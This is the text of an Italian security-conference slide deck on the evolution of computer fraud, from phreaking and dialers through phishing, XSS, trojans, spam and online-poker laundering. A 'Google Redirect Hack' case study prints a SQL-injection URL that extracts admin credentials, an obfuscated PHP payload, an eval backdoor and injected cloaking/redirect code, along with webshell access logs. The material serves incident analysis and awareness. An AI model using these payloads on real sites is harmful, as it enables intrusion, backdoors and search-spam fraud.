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(ANONYMOUS) FRAUDSTER  
OF THE NEW AGE 

Speaker: Andrea Pompili 

There are only 10 types  
of people in the world:  

Those who understand binary,  
and those who don't 
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The sweet meaning of Frauds  

Art. 640ter c.p. 

 

«chiunque, alterando in qualsiasi modo il 

funzionamento di un sistema informatico o 

telematico, o intervenendo senza diritto su 

dati, informazioni o programmi contenuti in 

un sistema informatico o telematico, 

procura a se o ad altri un ingiusto profitto 

con altrui danno» 



Page  ‹N› 
Except where otherwise noted, this work is licensed under 
http://creativecommons.org/licenses/by-nc-sa/3.0/ 

Andrea Pompili 

apompili@hotmail.com  –  Xilogic Corp. 

PESCARA  24+25+26.08.2012 
http://moca.olografix.org 

Una Domanda Facile Facile  
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Frodi informatiche in numeri 

Frodi creditizie 
sul web durante 

il 2010 

Danno complessivo 
derivante dalle truffe 

Denunce al Servizio della 
Polizia Postale nel 2010 

Costo di un’identità 
compromessa 

Danni causati dalle 
false identità 

Fonte: CRIS per il Sole 24 Ore del novembre 2010 
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Fraud World Evolution 

Truffa Tradizionale Phreaking AutoDialer Phishing ??? 
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Phreaking & Captain Crunch 

John: “Olympus, per favore” 
 
Operatore: “Un attimo, per favore…” 
 
Nixon: “Che succede?” 
 
John: “Signor Presidente,  
è in atto una crisi qui, a Los Angeles” 
 
Nixon: “Che tipo di crisi?” 
 
John: “Siamo senza carta igienica,  
Signor Presidente.” 
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899 Autodialer Micro-Fraud 
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Dialer at Work 
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Truffa Tradizionale Phreaking AutoDialer Phishing ??? 
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Fraud Kit #1> Utenti=UtOnti 

In questo momento voi ha ricevuto il "virus albanese" 

 

Siccome noi di Albania non ha esperienza di software e programmazione, questo 

virus albanese funziona su principio di fiducia e cooperazione. 

 

Allora noi prega voi adesso cancella tutti i file di vostro ard disc e spedisce questo 

virus a tutti amici di vostra rubrica. 

 

Grazie per fiducia e cooperazione. 
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OWASP Top 10 – 2007 (Previous)  OWASP Top 10 – 2010 (New) 

A2 – Injection Flaws A1 - Injection 

A1 – Cross Site Scripting (XSS) A2 – Cross-Site Scripting (XSS) 

A7 – Broken Authentication and Session Management A3 - Broken Authentication and Session Management 

A4 – Insecure Direct Object Reference A4 – Insecure Direct Object Reference 

A5 – Cross Site Request Forgery (CSRF) A5 – Cross Site Request Forgery (CSRF) 

<was T10 2004 A10 – Insecure Configuration Management> A6 – Security Misconfiguration (NEW) 

A8 – Insecure Cryptographic Storage A7 – Insecure Cryptographic Storage 

A10 – Failure to Restrict URL Access A8 – Failure to Restrict URL Access 

A9 – Insecure Communications A9 – Insufficient Transport Layer Protection 

<not in T10 2007> A10 – Unvalidated Redirects and Forwards (NEW) 

A3 – Malicious File Execution <dropped from T10 2010> 

A6 – Information Leakage and Improper Error Handling <dropped from T10 2010> 

Fraud Kit #2> Application (In)Security 
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Evergreen XSS (Cross Site Scripting) 
Def.  «

la navigazione verso un sito malevolo». 

https://www.owasp.org/index.php/ 
Cross-site_Scripting_(XSS) 

http://www.blackhat.com/ 
presentations/bh-usa-09/VELANAVA/ 
BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf 
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SEO + XSS = Search Engine Poisoning (SEP) 

83% 

12% 

3% 2% 

0% 

0% 

0% 

0% 

Search Engine Crawlers Following XSS links 

Yahoo! Slurp

Other

bingbot

Mediapartners-Google

msnbot

Yahoo!  Slurp China

YahooCachesystem

googlebot
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http://www.secureworks.com/research/threats/zeus/ 

http://www.airdemon.net/spyeye.html 

Fraud Kit #3> Good ol Trojan Builder 

http://www.securelist.com/en/blog/208193760/ 
New_ZitMo_for_Android_and_Blackberry 

ZEUS Source Code Leaked 

MiTB/MiTMo/BiTB  
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<1994> 419 Scam: Phishing alla Nigeriana 
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The Art of Email Address Harvesting 

You have $85,000USD in cash credit by the International 

Monetary Funds (IMF) via western union. 

 

Confirm this receipt by replying the due process unit 

officer. 

 

Details required: Full Name, Address, Tel, Occupation. 
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Step 2 

 

Step 1 

Step 3 

URL Encoding 
XSS 

Step 4 
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<2007> Maometto e la Montagna 
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The world of Spam & Identity 

Shane Atkinson 

Sendar Argic 

Canter & Siegel 

Richard Colbert 

David D’Amato 

Eddie Davidson 

Peter Francis-Macrae 

Davis Wolfgang Hawke 

Jumpstart Technologies 

Vandar Kushnir 

Kevin Lipnitz 

Wayne Mansfield 

Oleg Nikolaenko 

Alan Ralsky 

Dave Rhodes 

Scott Richter 

RBNet 

Russian Business Network 

iFrame Cash 

SBT Telecom Network 

Aki Mon Telecom 

Defcon Host 

Micronnet Ltd. 

InstallsCash 

Base identity $  7.70 

………………… 

Medium identity $ 12,29 

………………… 

Premium identity $ 32,29 

………………… 

  (other identities value by request) 

Today’s Special 
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Ma come pensano Questi di farci i Soldi?  
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Il business del lato Oscuro della Forza  

Source: Cisco - “Email Attacks: This Time It's Personal” – 30/06/2011 

Source:  “A Profitless Endeavor: Phishing as Tragedy of  the Commons” – 2008 

H(E) =  Curva della raccolta di denaro sostenibile in funzione 
effort sostenuto 
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Truffa Tradizionale Phreaking AutoDialer Phishing ??? 
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The Power of PageRanktm 
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1. Ogni pagina esterna che mi linka incrementa (anche se di poco) il mio PageRank. 

2. Il mio punteggio aumenta quanto più è alto quello di chi mi linka (reputazione). 

3. Ricambiare il favore rende felici entrambi. 

4. Basta fare tutto con stile! 
 

PageRanktm in a Nutshell  

PR(myPage) = (1-d) + d*(PR(T1)/C(T1) + ... + PR(Tn)/C(Tn)) 

PR(X)  è il punteggio “PageRank” della pagina X 

C(X) è il numero di link presenti nella pagina X (link in uscita) 
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PageRank & Blogging Nightmare 
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Ops, il mio sito vende Viagra 
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Google Redirect Hack 
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Step 1: Get Backend Access 

GET 

/records_detail_blahblah/xxxxxxx_xx_xxx_xxxx.html?tx_hawk%5Buid%5D=-

5319+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 

group_concat(concat_ws(0x3a3a,username,password,admin)), 

22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,

46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,

70,71,72,73+from+be_users+where+admin=1+and+disable=0+--

+&tx_hawk%5BbackPid%5D=38&cHash=45815b1e86 

typo3.pHtmL 



Page  ‹N› 
Except where otherwise noted, this work is licensed under 
http://creativecommons.org/licenses/by-nc-sa/3.0/ 

Andrea Pompili 

apompili@hotmail.com  –  Xilogic Corp. 

PESCARA  24+25+26.08.2012 
http://moca.olografix.org 

Step 2: Own as Much as you Can 

preg_replace("/4lHndKSp0y8itgtA4xEKwgH/e", 

"j=1fZn7lNM==CfRcKtnuPfPyL4VHBBclBSFa6BAHNAG……" ^ 

"\x0fKP\x0arL\x5e\x0af\x24NN\x26\x12z\x3f\x17P1\x27\x157…….", 

"4lHndKSp0y8itgtA4xEKwgH"); 

Action 1 

if(isset($_REQUEST['ch']) &&  

   (md5($_REQUEST['ch']) == ‘f766e86392aa4e2a2800cafcf4eff585') &&  

   isset($_REQUEST['php_code'])) {  

 eval($_REQUEST['php_code']);  

  exit();  

} 



Page  ‹N› 
Except where otherwise noted, this work is licensed under 
http://creativecommons.org/licenses/by-nc-sa/3.0/ 

Andrea Pompili 

apompili@hotmail.com  –  Xilogic Corp. 

PESCARA  24+25+26.08.2012 
http://moca.olografix.org 

Step 2: Own as Much as you Can 

Action 2 
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Step 3: Set Google Redirect Hack 
class.t3lib_timetrack.php 
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137",…….); 

$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]); 

$originalip = $_SERVER["REMOTE_ADDR"]; 

$cdomain="sitoconcontenutibrutti.com"; $rdomain=“sitochevendeviagra.com"; 

…. 

 

$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]); 

if(in_array($ip, $bot_list)) { 

 if((md5($_REQUEST['ch']) == 'e855f400128460e012b9c08d26872b2f') && isset($_REQUEST["php_code"])) { $_REQUEST["php_code"] exit(); } 

 $outsourceurl="http://$cdomain/showop.php?page=$page";  

 $out=http_get($outsourceurl); 

 ……  

 $originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage); 

 …… 

 } 

 print $originalpage; 

 exit;  

} 

 

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {  

 …… 

 $page = urlencode("http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]); 

 header('Cache-Control: no-cache, no-store, must-revalidate'); 

 header("Location: http://$rdomain/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"])); 

 exit; 

} 
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06/Jun/2011 ore 13:29:42  Inizio scansione backdoor (Bot)  

06/Jun/2011 ore 22:14:33  Trova un HTTP 200 su una pagina non bonificata!!!  

[06/Jun/2011:22:37:36 +0200] "POST /xxx.php HTTP/1.1" 200 2785 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google… 

[06/Jun/2011:22:38:00 +0200] "POST /xxx.php HTTP/1.1" 200 7474 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google… 

06/Jun/2011 ore 22:36:43  Riesce Evasion sull’IPS  

[06/Jun/2011:22:38:34 +0200] "GET /typo3conf/auth.php HTTP/1.1" 200 23839 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1)… 

06/Jun/2011 ore 22:38:34  Entra nella WebShell C99 

06/06/2011 - 13:29:17 - Google Hack Reloaded 
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The new way to America 
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 to you: The Poker Laundry 
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Money Laundering? 

http://www.gao.gov/new.items/d0389.pdf 

card and gaming industry officials did not believe Internet 
 

United States vs Scheinberg (U.S. Federal Crime) 
PokerStars (Scheinberg) - Full Tilt Poker - Cereus 

~ 3 Miliardi di Dollari riciclati 

75 account bloccati per 500 Milioni di Dollari 
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La n  
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Domande? 
Italian 

 مَطَالبِ  أيََّة
Arabic  

¿Preguntas? 
Spanish 

Questions? 
English 

tupoQghachmey 
Klingon 

Sindarin 

 
Japanese 

Ερωτήσεις? 
Greek 

вопросы? 
Russian 


